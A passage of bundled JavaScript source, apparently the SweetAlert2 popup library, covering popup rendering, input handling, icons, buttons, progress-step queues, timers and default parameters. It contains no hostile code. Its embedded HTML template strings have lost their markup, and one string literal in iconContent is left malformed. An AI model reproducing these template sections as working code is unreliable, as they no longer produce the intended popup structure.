parseInt(window.getComputedStyle(timerProgressBar).width); var timerProgressBarPercent = parseInt(timerProgressBarWidth / timerProgressBarFullWidth * 100); timerProgressBar.style.removeProperty('transition'); timerProgressBar.style.width = "".concat(timerProgressBarPercent, "%"); }; // Detect Node env var isNodeEnv = function isNodeEnv() { return typeof window === 'undefined' || typeof document === 'undefined'; }; var sweetHTML = "\n
        \n
        \n
          \n
          \n
          \n
          \n
          \n
          \n \n

          \n \n
          \n
          \n
          \n \n \n
          \n \n \n
          \n \n
          \n \n \n
          \n
          \n
          \n
          \n \n \n \n
          \n
          \n
          \n
          \n
          \n
          \n").replace(/(^|\n)\s*/g, ''); var resetOldContainer = function resetOldContainer() { var oldContainer = getContainer(); if (!oldContainer) { return false; } oldContainer.parentNode.removeChild(oldContainer); removeClass([document.documentElement, document.body], [swalClasses['no-backdrop'], swalClasses['toast-shown'], swalClasses['has-column']]); return true; }; var oldInputVal; // IE11 workaround, see #1109 for details var resetValidationMessage = function resetValidationMessage(e) { if (Swal.isVisible() && oldInputVal !== e.target.value) { Swal.resetValidationMessage(); } oldInputVal = e.target.value; }; var addInputChangeListeners = function addInputChangeListeners() { var content = getContent(); var input = getChildByClass(content, swalClasses.input); var file = getChildByClass(content, swalClasses.file); var range = content.querySelector(".".concat(swalClasses.range, " input")); var rangeOutput = content.querySelector(".".concat(swalClasses.range, " output")); var select = getChildByClass(content, swalClasses.select); var checkbox = content.querySelector(".".concat(swalClasses.checkbox, " input")); var textarea = getChildByClass(content, swalClasses.textarea); input.oninput = resetValidationMessage; file.onchange = resetValidationMessage; select.onchange = resetValidationMessage; checkbox.onchange = resetValidationMessage; textarea.oninput = resetValidationMessage; range.oninput = function (e) { resetValidationMessage(e); rangeOutput.value = range.value; }; range.onchange = function (e) { resetValidationMessage(e); range.nextSibling.value = range.value; }; }; var getTarget = function getTarget(target) { return typeof target === 'string' ? document.querySelector(target) : target; }; var setupAccessibility = function setupAccessibility(params) { var popup = getPopup(); popup.setAttribute('role', params.toast ? 'alert' : 'dialog'); popup.setAttribute('aria-live', params.toast ? 'polite' : 'assertive'); if (!params.toast) { popup.setAttribute('aria-modal', 'true'); } }; var setupRTL = function setupRTL(targetElement) { if (window.getComputedStyle(targetElement).direction === 'rtl') { addClass(getContainer(), swalClasses.rtl); } }; /* * Add modal + backdrop to DOM */ var init = function init(params) { // Clean up the old popup container if it exists var oldContainerExisted = resetOldContainer(); /* istanbul ignore if */ if (isNodeEnv()) { error('SweetAlert2 requires document to initialize'); return; } var container = document.createElement('div'); container.className = swalClasses.container; if (oldContainerExisted) { addClass(container, swalClasses['no-transition']); } setInnerHtml(container, sweetHTML); var targetElement = getTarget(params.target); targetElement.appendChild(container); setupAccessibility(params); setupRTL(targetElement); addInputChangeListeners(); }; var parseHtmlToContainer = function parseHtmlToContainer(param, target) { // DOM element if (param instanceof HTMLElement) { target.appendChild(param); // Object } else if (_typeof(param) === 'object') { handleObject(param, target); // Plain string } else if (param) { setInnerHtml(target, param); } }; var handleObject = function handleObject(param, target) { // JQuery element(s) if (param.jquery) { handleJqueryElem(target, param); // For other objects use their string representation } else { setInnerHtml(target, param.toString()); } }; var handleJqueryElem = function handleJqueryElem(target, elem) { target.textContent = ''; if (0 in elem) { for (var i = 0; (i in elem); i++) { target.appendChild(elem[i].cloneNode(true)); } } else { target.appendChild(elem.cloneNode(true)); } }; var animationEndEvent = function () { // Prevent run in Node env /* istanbul ignore if */ if (isNodeEnv()) { return false; } var testEl = document.createElement('div'); var transEndEventNames = { WebkitAnimation: 'webkitAnimationEnd', OAnimation: 'oAnimationEnd oanimationend', animation: 'animationend' }; for (var i in transEndEventNames) { if (Object.prototype.hasOwnProperty.call(transEndEventNames, i) && typeof testEl.style[i] !== 'undefined') { return transEndEventNames[i]; } } return false; }(); // https://github.com/twbs/bootstrap/blob/master/js/src/modal.js var measureScrollbar = function measureScrollbar() { var scrollDiv = document.createElement('div'); scrollDiv.className = swalClasses['scrollbar-measure']; document.body.appendChild(scrollDiv); var scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth; document.body.removeChild(scrollDiv); return scrollbarWidth; }; var renderActions = function renderActions(instance, params) { var actions = getActions(); var loader = getLoader(); var confirmButton = getConfirmButton(); var denyButton = getDenyButton(); var cancelButton = getCancelButton(); // Actions (buttons) wrapper if (!params.showConfirmButton && !params.showDenyButton && !params.showCancelButton) { hide(actions); } // Custom class applyCustomClass(actions, params, 'actions'); // Render buttons renderButton(confirmButton, 'confirm', params); renderButton(denyButton, 'deny', params); renderButton(cancelButton, 'cancel', params); // Loader loader.innerHTML = params.loaderHtml; if (params.buttonsStyling) { handleButtonsStyling(confirmButton, denyButton, cancelButton, params); } else { removeClass([confirmButton, denyButton, cancelButton], swalClasses.styled); } if (params.reverseButtons) { actions.insertBefore(cancelButton, loader); actions.insertBefore(denyButton, loader); actions.insertBefore(confirmButton, loader); } }; function handleButtonsStyling(confirmButton, denyButton, cancelButton, params) { addClass([confirmButton, denyButton, cancelButton], swalClasses.styled); // Buttons background colors if (params.confirmButtonColor) { confirmButton.style.backgroundColor = params.confirmButtonColor; } if (params.denyButtonColor) { denyButton.style.backgroundColor = params.denyButtonColor; } if (params.cancelButtonColor) { cancelButton.style.backgroundColor = params.cancelButtonColor; } // Loading state if (!isLoading()) { var confirmButtonBackgroundColor = window.getComputedStyle(confirmButton).getPropertyValue('background-color'); confirmButton.style.borderLeftColor = confirmButtonBackgroundColor; confirmButton.style.borderRightColor = confirmButtonBackgroundColor; } } function renderButton(button, buttonType, params) { toggle(button, params["show".concat(capitalizeFirstLetter(buttonType), "Button")], 'inline-block'); setInnerHtml(button, params["".concat(buttonType, "ButtonText")]); // Set caption text button.setAttribute('aria-label', params["".concat(buttonType, "ButtonAriaLabel")]); // ARIA label // Add buttons custom classes button.className = swalClasses[buttonType]; applyCustomClass(button, params, "".concat(buttonType, "Button")); addClass(button, params["".concat(buttonType, "ButtonClass")]); } function handleBackdropParam(container, backdrop) { if (typeof backdrop === 'string') { container.style.background = backdrop; } else if (!backdrop) { addClass([document.documentElement, document.body], swalClasses['no-backdrop']); } } function handlePositionParam(container, position) { if (position in swalClasses) { addClass(container, swalClasses[position]); } else { warn('The "position" parameter is not valid, defaulting to "center"'); addClass(container, swalClasses.center); } } function handleGrowParam(container, grow) { if (grow && typeof grow === 'string') { var growClass = "grow-".concat(grow); if (growClass in swalClasses) { addClass(container, swalClasses[growClass]); } } } var renderContainer = function renderContainer(instance, params) { var container = getContainer(); if (!container) { return; } handleBackdropParam(container, params.backdrop); if (!params.backdrop && params.allowOutsideClick) { warn('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`'); } handlePositionParam(container, params.position); handleGrowParam(container, params.grow); // Custom class applyCustomClass(container, params, 'container'); // Set queue step attribute for getQueueStep() method var queueStep = document.body.getAttribute('data-swal2-queue-step'); if (queueStep) { container.setAttribute('data-queue-step', queueStep); document.body.removeAttribute('data-swal2-queue-step'); } }; /** * This module containts `WeakMap`s for each effectively-"private property" that a `Swal` has. * For example, to set the private property "foo" of `this` to "bar", you can `privateProps.foo.set(this, 'bar')` * This is the approach that Babel will probably take to implement private methods/fields * https://github.com/tc39/proposal-private-methods * https://github.com/babel/babel/pull/7555 * Once we have the changes from that PR in Babel, and our core class fits reasonable in *one module* * then we can use that language feature. */ var privateProps = { promise: new WeakMap(), innerParams: new WeakMap(), domCache: new WeakMap() }; var inputTypes = ['input', 'file', 'range', 'select', 'radio', 'checkbox', 'textarea']; var renderInput = function renderInput(instance, params) { var content = getContent(); var innerParams = privateProps.innerParams.get(instance); var rerender = !innerParams || params.input !== innerParams.input; inputTypes.forEach(function (inputType) { var inputClass = swalClasses[inputType]; var inputContainer = getChildByClass(content, inputClass); // set attributes setAttributes(inputType, params.inputAttributes); // set class inputContainer.className = inputClass; if (rerender) { hide(inputContainer); } }); if (params.input) { if (rerender) { showInput(params); } // set custom class setCustomClass(params); } }; var showInput = function showInput(params) { if (!renderInputType[params.input]) { return error("Unexpected type of input! Expected \"text\", \"email\", \"password\", \"number\", \"tel\", \"select\", \"radio\", \"checkbox\", \"textarea\", \"file\" or \"url\", got \"".concat(params.input, "\"")); } var inputContainer = getInputContainer(params.input); var input = renderInputType[params.input](inputContainer, params); show(input); // input autofocus setTimeout(function () { focusInput(input); }); }; var removeAttributes = function removeAttributes(input) { for (var i = 0; i < input.attributes.length; i++) { var attrName = input.attributes[i].name; if (!(['type', 'value', 'style'].indexOf(attrName) !== -1)) { input.removeAttribute(attrName); } } }; var setAttributes = function setAttributes(inputType, inputAttributes) { var input = getInput(getContent(), inputType); if (!input) { return; } removeAttributes(input); for (var attr in inputAttributes) { // Do not set a placeholder for // it'll crash Edge, #1298 if (inputType === 'range' && attr === 'placeholder') { continue; } input.setAttribute(attr, inputAttributes[attr]); } }; var setCustomClass = function setCustomClass(params) { var inputContainer = getInputContainer(params.input); if (params.customClass) { addClass(inputContainer, params.customClass.input); } }; var setInputPlaceholder = function setInputPlaceholder(input, params) { if (!input.placeholder || params.inputPlaceholder) { input.placeholder = params.inputPlaceholder; } }; var getInputContainer = function getInputContainer(inputType) { var inputClass = swalClasses[inputType] ? swalClasses[inputType] : swalClasses.input; return getChildByClass(getContent(), inputClass); }; var renderInputType = {}; renderInputType.text = renderInputType.email = renderInputType.password = renderInputType.number = renderInputType.tel = renderInputType.url = function (input, params) { if (typeof params.inputValue === 'string' || typeof params.inputValue === 'number') { input.value = params.inputValue; } else if (!isPromise(params.inputValue)) { warn("Unexpected type of inputValue! Expected \"string\", \"number\" or \"Promise\", got \"".concat(_typeof(params.inputValue), "\"")); } setInputPlaceholder(input, params); input.type = params.input; return input; }; renderInputType.file = function (input, params) { setInputPlaceholder(input, params); return input; }; renderInputType.range = function (range, params) { var rangeInput = range.querySelector('input'); var rangeOutput = range.querySelector('output'); rangeInput.value = params.inputValue; rangeInput.type = params.input; rangeOutput.value = params.inputValue; return range; }; renderInputType.select = function (select, params) { select.textContent = ''; if (params.inputPlaceholder) { var placeholder = document.createElement('option'); setInnerHtml(placeholder, params.inputPlaceholder); placeholder.value = ''; placeholder.disabled = true; placeholder.selected = true; select.appendChild(placeholder); } return select; }; renderInputType.radio = function (radio) { radio.textContent = ''; return radio; }; renderInputType.checkbox = function (checkboxContainer, params) { var checkbox = getInput(getContent(), 'checkbox'); checkbox.value = 1; checkbox.id = swalClasses.checkbox; checkbox.checked = Boolean(params.inputValue); var label = checkboxContainer.querySelector('span'); setInnerHtml(label, params.inputPlaceholder); return checkboxContainer; }; renderInputType.textarea = function (textarea, params) { textarea.value = params.inputValue; setInputPlaceholder(textarea, params); if ('MutationObserver' in window) { // #1699 var initialPopupWidth = parseInt(window.getComputedStyle(getPopup()).width); var popupPadding = parseInt(window.getComputedStyle(getPopup()).paddingLeft) + parseInt(window.getComputedStyle(getPopup()).paddingRight); var outputsize = function outputsize() { var contentWidth = textarea.offsetWidth + popupPadding; if (contentWidth > initialPopupWidth) { getPopup().style.width = "".concat(contentWidth, "px"); } else { getPopup().style.width = null; } }; new MutationObserver(outputsize).observe(textarea, { attributes: true, attributeFilter: ['style'] }); } return textarea; }; var renderContent = function renderContent(instance, params) { var content = getContent().querySelector("#".concat(swalClasses.content)); // Content as HTML if (params.html) { parseHtmlToContainer(params.html, content); show(content, 'block'); // Content as plain text } else if (params.text) { content.textContent = params.text; show(content, 'block'); // No content } else { hide(content); } renderInput(instance, params); // Custom class applyCustomClass(getContent(), params, 'content'); }; var renderFooter = function renderFooter(instance, params) { var footer = getFooter(); toggle(footer, params.footer); if (params.footer) { parseHtmlToContainer(params.footer, footer); } // Custom class applyCustomClass(footer, params, 'footer'); }; var renderCloseButton = function renderCloseButton(instance, params) { var closeButton = getCloseButton(); setInnerHtml(closeButton, params.closeButtonHtml); // Custom class applyCustomClass(closeButton, params, 'closeButton'); toggle(closeButton, params.showCloseButton); closeButton.setAttribute('aria-label', params.closeButtonAriaLabel); }; var renderIcon = function renderIcon(instance, params) { var innerParams = privateProps.innerParams.get(instance); // if the given icon already rendered, apply the styling without re-rendering the icon if (innerParams && params.icon === innerParams.icon && getIcon()) { applyStyles(getIcon(), params); return; } hideAllIcons(); if (!params.icon) { return; } if (Object.keys(iconTypes).indexOf(params.icon) !== -1) { var icon = elementBySelector(".".concat(swalClasses.icon, ".").concat(iconTypes[params.icon])); show(icon); // Custom or default content setContent(icon, params); applyStyles(icon, params); // Animate icon addClass(icon, params.showClass.icon); } else { error("Unknown icon! Expected \"success\", \"error\", \"warning\", \"info\" or \"question\", got \"".concat(params.icon, "\"")); } }; var hideAllIcons = function hideAllIcons() { var icons = getIcons(); for (var i = 0; i < icons.length; i++) { hide(icons[i]); } }; var applyStyles = function applyStyles(icon, params) { // Icon color setColor(icon, params); // Success icon background color adjustSuccessIconBackgoundColor(); // Custom class applyCustomClass(icon, params, 'icon'); }; // Adjust success icon background color to match the popup background color var adjustSuccessIconBackgoundColor = function adjustSuccessIconBackgoundColor() { var popup = getPopup(); var popupBackgroundColor = window.getComputedStyle(popup).getPropertyValue('background-color'); var successIconParts = popup.querySelectorAll('[class^=swal2-success-circular-line], .swal2-success-fix'); for (var i = 0; i < successIconParts.length; i++) { successIconParts[i].style.backgroundColor = popupBackgroundColor; } }; var setContent = function setContent(icon, params) { icon.textContent = ''; if (params.iconHtml) { setInnerHtml(icon, iconContent(params.iconHtml)); } else if (params.icon === 'success') { setInnerHtml(icon, "\n
          \n \n
          \n
          \n "); } else if (params.icon === 'error') { setInnerHtml(icon, "\n \n \n \n \n "); } else { var defaultIconHtml = { question: '?', warning: '!', info: 'i' }; setInnerHtml(icon, iconContent(defaultIconHtml[params.icon])); } }; var setColor = function setColor(icon, params) { if (!params.iconColor) { return; } icon.style.color = params.iconColor; icon.style.borderColor = params.iconColor; for (var _i = 0, _arr = ['.swal2-success-line-tip', '.swal2-success-line-long', '.swal2-x-mark-line-left', '.swal2-x-mark-line-right']; _i < _arr.length; _i++) { var sel = _arr[_i]; setStyle(icon, sel, 'backgroundColor', params.iconColor); } setStyle(icon, '.swal2-success-ring', 'borderColor', params.iconColor); }; var iconContent = function iconContent(content) { return "
          ").concat(content, "
          "); }; var renderImage = function renderImage(instance, params) { var image = getImage(); if (!params.imageUrl) { return hide(image); } show(image, ''); // Src, alt image.setAttribute('src', params.imageUrl); image.setAttribute('alt', params.imageAlt); // Width, height applyNumericalStyle(image, 'width', params.imageWidth); applyNumericalStyle(image, 'height', params.imageHeight); // Class image.className = swalClasses.image; applyCustomClass(image, params, 'image'); }; var currentSteps = []; /* * Global function for chaining sweetAlert popups */ var queue = function queue(steps) { var Swal = this; currentSteps = steps; var resetAndResolve = function resetAndResolve(resolve, value) { currentSteps = []; resolve(value); }; var queueResult = []; return new Promise(function (resolve) { (function step(i, callback) { if (i < currentSteps.length) { document.body.setAttribute('data-swal2-queue-step', i); Swal.fire(currentSteps[i]).then(function (result) { if (typeof result.value !== 'undefined') { queueResult.push(result.value); step(i + 1, callback); } else { resetAndResolve(resolve, { dismiss: result.dismiss }); } }); } else { resetAndResolve(resolve, { value: queueResult }); } })(0); }); }; /* * Global function for getting the index of current popup in queue */ var getQueueStep = function getQueueStep() { return getContainer() && getContainer().getAttribute('data-queue-step'); }; /* * Global function for inserting a popup to the queue */ var insertQueueStep = function insertQueueStep(step, index) { if (index && index < currentSteps.length) { return currentSteps.splice(index, 0, step); } return currentSteps.push(step); }; /* * Global function for deleting a popup from the queue */ var deleteQueueStep = function deleteQueueStep(index) { if (typeof currentSteps[index] !== 'undefined') { currentSteps.splice(index, 1); } }; var createStepElement = function createStepElement(step) { var stepEl = document.createElement('li'); addClass(stepEl, swalClasses['progress-step']); setInnerHtml(stepEl, step); return stepEl; }; var createLineElement = function createLineElement(params) { var lineEl = document.createElement('li'); addClass(lineEl, swalClasses['progress-step-line']); if (params.progressStepsDistance) { lineEl.style.width = params.progressStepsDistance; } return lineEl; }; var renderProgressSteps = function renderProgressSteps(instance, params) { var progressStepsContainer = getProgressSteps(); if (!params.progressSteps || params.progressSteps.length === 0) { return hide(progressStepsContainer); } show(progressStepsContainer); progressStepsContainer.textContent = ''; var currentProgressStep = parseInt(params.currentProgressStep === undefined ? getQueueStep() : params.currentProgressStep); if (currentProgressStep >= params.progressSteps.length) { warn('Invalid currentProgressStep parameter, it should be less than progressSteps.length ' + '(currentProgressStep like JS arrays starts from 0)'); } params.progressSteps.forEach(function (step, index) { var stepEl = createStepElement(step); progressStepsContainer.appendChild(stepEl); if (index === currentProgressStep) { addClass(stepEl, swalClasses['active-progress-step']); } if (index !== params.progressSteps.length - 1) { var lineEl = createLineElement(params); progressStepsContainer.appendChild(lineEl); } }); }; var renderTitle = function renderTitle(instance, params) { var title = getTitle(); toggle(title, params.title || params.titleText); if (params.title) { parseHtmlToContainer(params.title, title); } if (params.titleText) { title.innerText = params.titleText; } // Custom class applyCustomClass(title, params, 'title'); }; var renderHeader = function renderHeader(instance, params) { var header = getHeader(); // Custom class applyCustomClass(header, params, 'header'); // Progress steps renderProgressSteps(instance, params); // Icon renderIcon(instance, params); // Image renderImage(instance, params); // Title renderTitle(instance, params); // Close button renderCloseButton(instance, params); }; var renderPopup = function renderPopup(instance, params) { var popup = getPopup(); // Width applyNumericalStyle(popup, 'width', params.width); // Padding applyNumericalStyle(popup, 'padding', params.padding); // Background if (params.background) { popup.style.background = params.background; } // Classes addClasses(popup, params); }; var addClasses = function addClasses(popup, params) { // Default Class + showClass when updating Swal.update({}) popup.className = "".concat(swalClasses.popup, " ").concat(isVisible(popup) ? params.showClass.popup : ''); if (params.toast) { addClass([document.documentElement, document.body], swalClasses['toast-shown']); addClass(popup, swalClasses.toast); } else { addClass(popup, swalClasses.modal); } // Custom class applyCustomClass(popup, params, 'popup'); if (typeof params.customClass === 'string') { addClass(popup, params.customClass); } // Icon class (#1842) if (params.icon) { addClass(popup, swalClasses["icon-".concat(params.icon)]); } }; var render = function render(instance, params) { renderPopup(instance, params); renderContainer(instance, params); renderHeader(instance, params); renderContent(instance, params); renderActions(instance, params); renderFooter(instance, params); if (typeof params.didRender === 'function') { params.didRender(getPopup()); } else if (typeof params.onRender === 'function') { params.onRender(getPopup()); // @deprecated } }; /* * Global function to determine if SweetAlert2 popup is shown */ var isVisible$1 = function isVisible$$1() { return isVisible(getPopup()); }; /* * Global function to click 'Confirm' button */ var clickConfirm = function clickConfirm() { return getConfirmButton() && getConfirmButton().click(); }; /* * Global function to click 'Deny' button */ var clickDeny = function clickDeny() { return getDenyButton() && getDenyButton().click(); }; /* * Global function to click 'Cancel' button */ var clickCancel = function clickCancel() { return getCancelButton() && getCancelButton().click(); }; function fire() { var Swal = this; for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return _construct(Swal, args); } /** * Returns an extended version of `Swal` containing `params` as defaults. * Useful for reusing Swal configuration. * * For example: * * Before: * const textPromptOptions = { input: 'text', showCancelButton: true } * const {value: firstName} = await Swal.fire({ ...textPromptOptions, title: 'What is your first name?' }) * const {value: lastName} = await Swal.fire({ ...textPromptOptions, title: 'What is your last name?' }) * * After: * const TextPrompt = Swal.mixin({ input: 'text', showCancelButton: true }) * const {value: firstName} = await TextPrompt('What is your first name?') * const {value: lastName} = await TextPrompt('What is your last name?') * * @param mixinParams */ function mixin(mixinParams) { var MixinSwal = /*#__PURE__*/function (_this) { _inherits(MixinSwal, _this); var _super = _createSuper(MixinSwal); function MixinSwal() { _classCallCheck(this, MixinSwal); return _super.apply(this, arguments); } _createClass(MixinSwal, [{ key: "_main", value: function _main(params) { return _get(_getPrototypeOf(MixinSwal.prototype), "_main", this).call(this, _extends({}, mixinParams, params)); } }]); return MixinSwal; }(this); return MixinSwal; } /** * Show spinner instead of Confirm button */ var showLoading = function showLoading() { var popup = getPopup(); if (!popup) { Swal.fire(); } popup = getPopup(); var actions = getActions(); var confirmButton = getConfirmButton(); var loader = getLoader(); show(actions); hide(confirmButton); addClass([popup, actions], swalClasses.loading); show(loader); popup.setAttribute('data-loading', true); popup.setAttribute('aria-busy', true); popup.focus(); }; var RESTORE_FOCUS_TIMEOUT = 100; var globalState = {}; var focusPreviousActiveElement = function focusPreviousActiveElement() { if (globalState.previousActiveElement && globalState.previousActiveElement.focus) { globalState.previousActiveElement.focus(); globalState.previousActiveElement = null; } else if (document.body) { document.body.focus(); } }; // Restore previous active (focused) element var restoreActiveElement = function restoreActiveElement() { return new Promise(function (resolve) { var x = window.scrollX; var y = window.scrollY; globalState.restoreFocusTimeout = setTimeout(function () { focusPreviousActiveElement(); resolve(); }, RESTORE_FOCUS_TIMEOUT); // issues/900 /* istanbul ignore if */ if (typeof x !== 'undefined' && typeof y !== 'undefined') { // IE doesn't have scrollX/scrollY support window.scrollTo(x, y); } }); }; /** * If `timer` parameter is set, returns number of milliseconds of timer remained. * Otherwise, returns undefined. */ var getTimerLeft = function getTimerLeft() { return globalState.timeout && globalState.timeout.getTimerLeft(); }; /** * Stop timer. Returns number of milliseconds of timer remained. * If `timer` parameter isn't set, returns undefined. */ var stopTimer = function stopTimer() { if (globalState.timeout) { stopTimerProgressBar(); return globalState.timeout.stop(); } }; /** * Resume timer. Returns number of milliseconds of timer remained. * If `timer` parameter isn't set, returns undefined. */ var resumeTimer = function resumeTimer() { if (globalState.timeout) { var remaining = globalState.timeout.start(); animateTimerProgressBar(remaining); return remaining; } }; /** * Resume timer. Returns number of milliseconds of timer remained. * If `timer` parameter isn't set, returns undefined. */ var toggleTimer = function toggleTimer() { var timer = globalState.timeout; return timer && (timer.running ? stopTimer() : resumeTimer()); }; /** * Increase timer. Returns number of milliseconds of an updated timer. * If `timer` parameter isn't set, returns undefined. */ var increaseTimer = function increaseTimer(n) { if (globalState.timeout) { var remaining = globalState.timeout.increase(n); animateTimerProgressBar(remaining, true); return remaining; } }; /** * Check if timer is running. Returns true if timer is running * or false if timer is paused or stopped. * If `timer` parameter isn't set, returns undefined */ var isTimerRunning = function isTimerRunning() { return globalState.timeout && globalState.timeout.isRunning(); }; var defaultParams = { title: '', titleText: '', text: '', html: '', footer: '', icon: undefined, iconColor: undefined, iconHtml: undefined, toast: false, animation: true, showClass: { popup: 'swal2-show', backdrop: 'swal2-backdrop-show', icon: 'swal2-icon-show' }, hideClass: { popup: 'swal2-hide', backdrop: 'swal2-backdrop-hide', icon: 'swal2-icon-hide' }, customClass: undefined, target: 'body', backdrop: true, heightAuto: true, allowOutsideClick: true, allowEscapeKey: true, allowEnterKey: true, stopKeydownPropagation: true, keydownListenerCapture: false, showConfirmButton: true, showDenyButton: false, showCancelButton: false, preConfirm: undefined, confirmButtonText: 'OK', confirmButtonAriaLabel: '', confirmButtonColor: undefined, denyButtonText: 'No', denyButtonAriaLabel: '', denyButtonColor: undefined, cancelButtonText: 'Cancel', cancelButtonAriaLabel: '', cancelButtonColor: undefined, buttonsStyling: true, reverseButtons: false, focusConfirm: true, focusDeny: false, focusCancel: false, showCloseButton: false, closeButtonHtml: '×', closeButtonAriaLabel: 'Close this dialog', loaderHtml: '', showLoaderOnConfirm: false, imageUrl: undefined, imageWidth: undefined, imageHeight: undefined, imageAlt: '', timer: undefined, timerProgressBar: false, width: undefined, padding: undefined, background: undefined, input: undefined, inputPlaceholder: '', inputValue: '', inputOptions: {}, inputAutoTrim: true, inputAttributes: {}, inputValidator: undefined, validationMessage: undefined, grow: false, position: 'center', progressSteps: [], currentProgressStep: undefined, progressStepsDistance: undefined, onBeforeOpen: undefined, onOpen: undefined, willOpen: undefined, didOpen: undefined, onRender: undefined, didRender: undefined, onClose: undefined, onAfterClose: undefined, willClose: undefined, didClose: undefined, onDestroy: undefined, didDestroy: undefined, scrollbarPadding: true }; var updatableParams = ['allowEscapeKey', 'allowOutsideClick', 'background', 'buttonsStyling', 'cancelButtonAriaLabel', 'cancelButtonColor', 'cancelButtonText', 'closeButtonAriaLabel', 'closeButtonHtml', 'confirmButtonAriaLabel', 'confirmButtonColor', 'confirmButtonText', 'currentProgressStep', 'customClass', 'denyButtonAriaLabel', 'denyButtonColor', 'denyButtonText', 'didClose', 'didDestroy', 'footer', 'hideClass', 'html', 'icon', 'iconColor', 'imageAlt', 'imageHeight', 'imageUrl', 'imageWidth', 'onAfterClose', 'onClose', 'onDestroy', 'progressSteps', 'reverseButtons', 'showCancelButton', 'showCloseButton', 'showConfirmButton', 'showDenyButton', 'text', 'title', 'titleText', 'willClose']; var deprecatedParams = { animation: 'showClass" and "hideClass', onBeforeOpen: 'willOpen', onOpen: 'didOpen', onRender: 'didRender', onClose: 'willClose', onAfterClose: 'didClose', onDestroy: 'didDestroy' }; var toastIncompatibleParams = ['allowOutsideClick', 'allowEnterKey', 'backdrop', 'focusConfirm', 'focusDeny', 'focusCancel', 'heightAuto', 'keydownListenerCapture']; /** * Is valid parameter * @param {String} paramName */ var isValidParameter = function isValidParameter(paramName) { return Object.prototype.hasOwnProperty.call(defaultParams, paramName); }; /** * Is valid parameter for Swal.update() method * @param {String} paramName */ var isUpdatableParameter = function isUpdatableParameter(paramName) { return updatableParams.indexOf(paramName) !== -1; }; /** * Is deprecated parameter * @param {String} paramName */ var isDeprecatedParameter = function isDeprecatedParameter(paramName) { return deprecatedParams[paramName]; }; var checkIfParamIsValid = function checkIfParamIsValid(param) { if (!isValidParameter(param)) { warn("Unknown parameter \"".concat(param, "\"")); } }; var checkIfToastParamIsValid = function checkIfToastParamIsValid(param) { if (toastIncompatibleParams.indexOf(param) !== -1) { warn("The parameter \"".concat(param, "\" is incompatible with toasts")); } }; var checkIfParamIsDeprecated = function checkIfParamIsDeprecated(param) { if (isDeprecatedParameter(param)) { warnAboutDeprecation(param, isDeprecatedParameter(param)); } }; /** * Show relevant warnings for given params * * @param params */ var showWarningsForParams = function showWarningsForParams(params) { for (var param in params) { checkIfParamIsValid(param); if (params.toast) { checkIfToastParamIsValid(param); } checkIfParamIsDeprecated(param); } }; var staticMethods = /*#__PURE__*/Object.freeze({ isValidParameter: isValidParameter, isUpdatableParameter: isUpdatableParameter, isDeprecatedParameter: isDeprecatedParameter, argsToParams: argsToParams, isVisible: isVisible$1, clickConfirm: clickConfirm, clickDeny: clickDeny, clickCancel: clickCancel, getContainer: getContainer, getPopup: getPopup, getTitle: getTitle, getContent: getContent, getHtmlContainer: getHtmlContainer, getImage: getImage, getIcon: getIcon, getIcons: getIcons, getCloseButton: getCloseButton, getActions: getActions, getConfirmButton: getConfirmButton, getDenyButton: getDenyButton, getCancelButton: getCancelButton, getHeader: getHeader, getFooter: getFooter, getTimerProgressBar: getTimerProgressBar, getFocusableElements: getFocusableElements, getValidationMessage: getValidationMessage, isLoading: isLoading, fire: fire, mixin: mixin, queue: queue, getQueueStep: getQueueStep, insertQueueStep: insertQueueStep, deleteQueueStep: deleteQueueStep, showLoading: showLoading, enableLoading: showLoading, getTimerLeft: getTimerLeft, stopTimer: stopTimer, resumeTimer: resumeTimer, toggleTimer: toggleTimer, increaseTimer: increaseTimer, isTimerRunning: isTimerRunning }); /** * Enables buttons and hide loader. */ function hideLoading() { // do nothing if popup is closed var innerParams = privateProps.innerParams.get(this); if (!innerParams) { return; } var domCache = privateProps.domCache.get(this); hide(domCache.loader); if (innerParams.showConfirmButton) { show(domCache.confirmButton); } else if (!innerParams.showConfirmButton && !innerParams.showCancelButton) { hide(domCache.actions); } removeClass([domCache.popup, domCache.actions], swalClasses.loading); domCache.popup.removeAttribute('aria-busy'); domCache.popup.removeAttribute('data-loading'); domCache.confirmButton.disabled = false; domCache.denyButton.disabled = false; domCache.cancelButton.disabled = false; } function getInput$1(instance) { var innerParams = privateProps.innerParams.get(instance || this); var domCache = privateProps.domCache.get(instance || this); if (!domCache) { return null; } return getInput(domCache.content, innerParams.input); } var fixScrollbar = function fixScrollbar() { // for queues, do not do this more than once if (states.previousBodyPadding !== null) { return; } // if the body has overflow if (document.body.scrollHeight > window.innerHeight) { // add padding so the content doesn't shift after removal of scrollbar states.previousBodyPadding = parseInt(window.getComputedStyle(document.body).getPropertyValue('padding-right')); document.body.style.paddingRight = "".concat(states.previousBodyPadding + measureScrollbar(), "px"); } }; var undoScrollbar = function undoScrollbar() { if (states.previousBodyPadding !== null) { document.body.style.paddingRight = "".concat(states.previousBodyPadding, "px"); states.previousBodyPadding = null; } }; /* istanbul ignore file */ var iOSfix = function iOSfix() { var iOS = /iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream || navigator.platform === 'MacIntel' && navigator.maxTouchPoints > 1; if (iOS && !hasClass(document.body, swalClasses.iosfix)) { var offset = document.body.scrollTop; document.body.style.top = "".concat(offset * -1, "px"); addClass(document.body, swalClasses.iosfix); lockBodyScroll(); addBottomPaddingForTallPopups(); // #1948 } }; var addBottomPaddingForTallPopups = function addBottomPaddingForTallPopups() { var safari = !navigator.userAgent.match(/(CriOS|FxiOS|EdgiOS|YaBrowser|UCBrowser)/i); if (safari) { var bottomPanelHeight = 44; if (getPopup().scrollHeight > window.innerHeight - bottomPanelHeight) { getContainer().style.paddingBottom = "".concat(bottomPanelHeight, "px"); } } }; var lockBodyScroll = function lockBodyScroll() { // #1246 var container = getContainer(); var preventTouchMove; container.ontouchstart = function (e) { preventTouchMove = shouldPreventTouchMove(e.target); }; container.ontouchmove = function (e) { if (preventTouchMove) { e.preventDefault(); e.stopPropagation(); } }; }; var shouldPreventTouchMove = function shouldPreventTouchMove(target) { var container = getContainer(); if (target === container) { return true; } if (!isScrollable(container) && target.tagName !== 'INPUT' && // #1603 !(isScrollable(getContent()) && // #1944 getContent().contains(target))) { return true; } return false; }; var undoIOSfix = function undoIOSfix() { if (hasClass(document.body, swalClasses.iosfix)) { var offset = parseInt(document.body.style.top, 10); 